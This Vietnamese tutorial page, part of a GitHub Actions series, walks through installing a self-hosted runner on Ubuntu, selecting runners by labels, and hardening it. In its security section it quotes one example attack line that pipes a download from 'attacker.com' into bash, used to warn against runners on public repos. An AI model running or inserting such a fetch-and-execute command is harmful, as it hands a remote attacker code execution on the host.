Phần 5 — Self-hosted Runner: cài đặt, security, auto-scaling
Ý kiến
0
Chưa có ý kiến nào. Hãy là người đầu tiên chia sẻ!
Chưa có ý kiến nào. Hãy là người đầu tiên chia sẻ!
Pipeline production Next.js → Docker → K8s với cache image, manual approval. Tổng kết best practices và kỹ thuật debug (CI Lint, visualizer, CI_DEBUG_TRACE).
Khai báo environment để GitLab theo dõi deployments, có lịch sử và nút rollback. Review Apps — tính năng signature: mỗi MR tự deploy lên môi trường tạm.
Tái sử dụng pipeline giữa nhiều dự án với include (local, project, template, remote), kế thừa job với extends (hidden job), và YAML anchors.
Series GitHub Actions Toàn Tập — 8 phần:
Phần 1 — Tổng quan: CI/CD, GitHub Actions và các khái niệm cốt lõi
Phần 5 — Self-hosted Runner: cài đặt, security, auto-scaling ← bạn đang đọc
Đây là phần được hỏi nhiều nhất trong series. Self-hosted runner hữu ích khi pipeline cần truy cập mạng nội bộ (DB staging, VPN), cần phần cứng đặc thù (GPU, RAM lớn), tiết kiệm chi phí cho build nặng, hoặc deploy lên server on-premise không có internet public. Phần này hướng dẫn cài từng bước trên Ubuntu — và phần bảo mật phải đọc kỹ vì self-hosted runner là mục tiêu attack quen thuộc.
Đây là phần được hỏi nhiều nhất. Self-hosted runner hữu ích khi:
Cần truy cập tài nguyên trong mạng nội bộ (database staging, VPN).
Pipeline cần GPU, RAM lớn, hoặc disk SSD nhanh.
Tiết kiệm chi phí khi build nặng (build hàng giờ mỗi ngày).
Build/deploy lên server on-premise không có internet public.
Ubuntu 22.04+ (hoặc Debian 11+, RHEL 8+, Windows, macOS).
Tối thiểu 2 CPU + 4GB RAM cho build thông thường; 4 CPU + 8GB RAM nếu build Docker/Next.js.
20GB+ disk trống (cache + artifacts).
Kết nối outbound đến github.com trên port 443.
Bước 1: Tạo user riêng cho runner (không dùng root):
sudo useradd -m -s /bin/bash actions
sudo usermod -aG docker actions # nếu cần build Docker
sudo su - actions
Bước 2: Vào repo trên GitHub → Settings → Actions → Runners → New self-hosted runner → chọn OS Linux x64. GitHub sẽ hiện sẵn các lệnh tải về:
mkdir actions-runner && cd actions-runner
# Tải bản mới nhất (thay version nếu có bản mới hơn)
curl -o actions-runner-linux-x64-2.321.0.tar.gz -L \
https://github.com/actions/runner/releases/download/v2.321.0/actions-runner-linux-x64-2.321.0.tar.gz
# Giải nén
tar xzf ./actions-runner-linux-x64-2.321.0.tar.gz
Bước 3: Đăng ký runner với token GitHub cung cấp (token này chỉ valid 1 giờ, lấy ở trang trên):
./config.sh --url https://github.com/USERNAME/REPO --token AAAAAAAAAAAA
Bạn sẽ được hỏi:
Enter the name of the runner group: → Enter (mặc định).
Enter the name of runner: → đặt tên (vd: vps-prod-01).
Enter any additional labels: → ví dụ self-hosted,linux,docker,production — label rất quan trọng để chọn runner sau này.
Enter name of work folder: → Enter (mặc định _work).
Bước 4: Cài runner chạy như service (tự khởi động khi reboot):
# Thoát về root
exit
cd /home/actions/actions-runner
sudo ./svc.sh install actions
sudo ./svc.sh start
sudo ./svc.sh status
Vào lại trang Settings → Actions → Runners bạn sẽ thấy runner hiện Idle (chấm xanh) — sẵn sàng nhận job.
jobs:
deploy:
runs-on: [self-hosted, linux, production]
steps:
- uses: actions/checkout@v4
- name: Deploy
run: |
cd /opt/myapp
git pull
docker compose up -d --build
runs-on là một mảng label — GitHub sẽ tìm runner có đủ cả 3 label để chạy job. Cách này cho phép phân loại runner theo môi trường: [self-hosted, staging] vs [self-hosted, production].
Không bao giờ dùng self-hosted runner cho public repository. Lý do: bất kỳ ai cũng có thể fork repo, sửa workflow (vd: run: curl http://attacker.com/exfil | bash) rồi mở PR — runner của bạn sẽ chạy code đó với quyền hệ thống.
Các best practice bắt buộc:
Chỉ dùng self-hosted với private repo hoặc organization repo có kiểm soát PR.
Chạy runner dưới user không có sudo.
Cô lập trong VM hoặc container — không chạy trực tiếp trên host quan trọng.
Bật Require approval for first-time contributors trong settings repo.
Định kỳ xoá _work/ để dọn cache cũ và file lạ.
Trong phần này bạn đã nắm:
Yêu cầu phần cứng: 2 CPU + 4GB RAM cho build thường; 4 + 8GB cho Docker/Next.js; outbound 443 đến github.com.
Cài 4 bước: tạo user riêng (không root) → tải binary → config.sh với token → chạy như systemd service.
Dùng label-based selection trong runs-on: [self-hosted, linux, production] để phân loại runner theo môi trường.
Quy tắc bảo mật bắt buộc: không dùng với public repo; user không sudo; cô lập VM/container; require approval cho first-time contributors; định kỳ xoá _work/.
Trong Phần 6, ta giải bài toán DRY pipeline giữa nhiều repo: chọn giữa reusable workflow (toàn bộ workflow) và composite action (nhóm steps), và cách versioning template an toàn.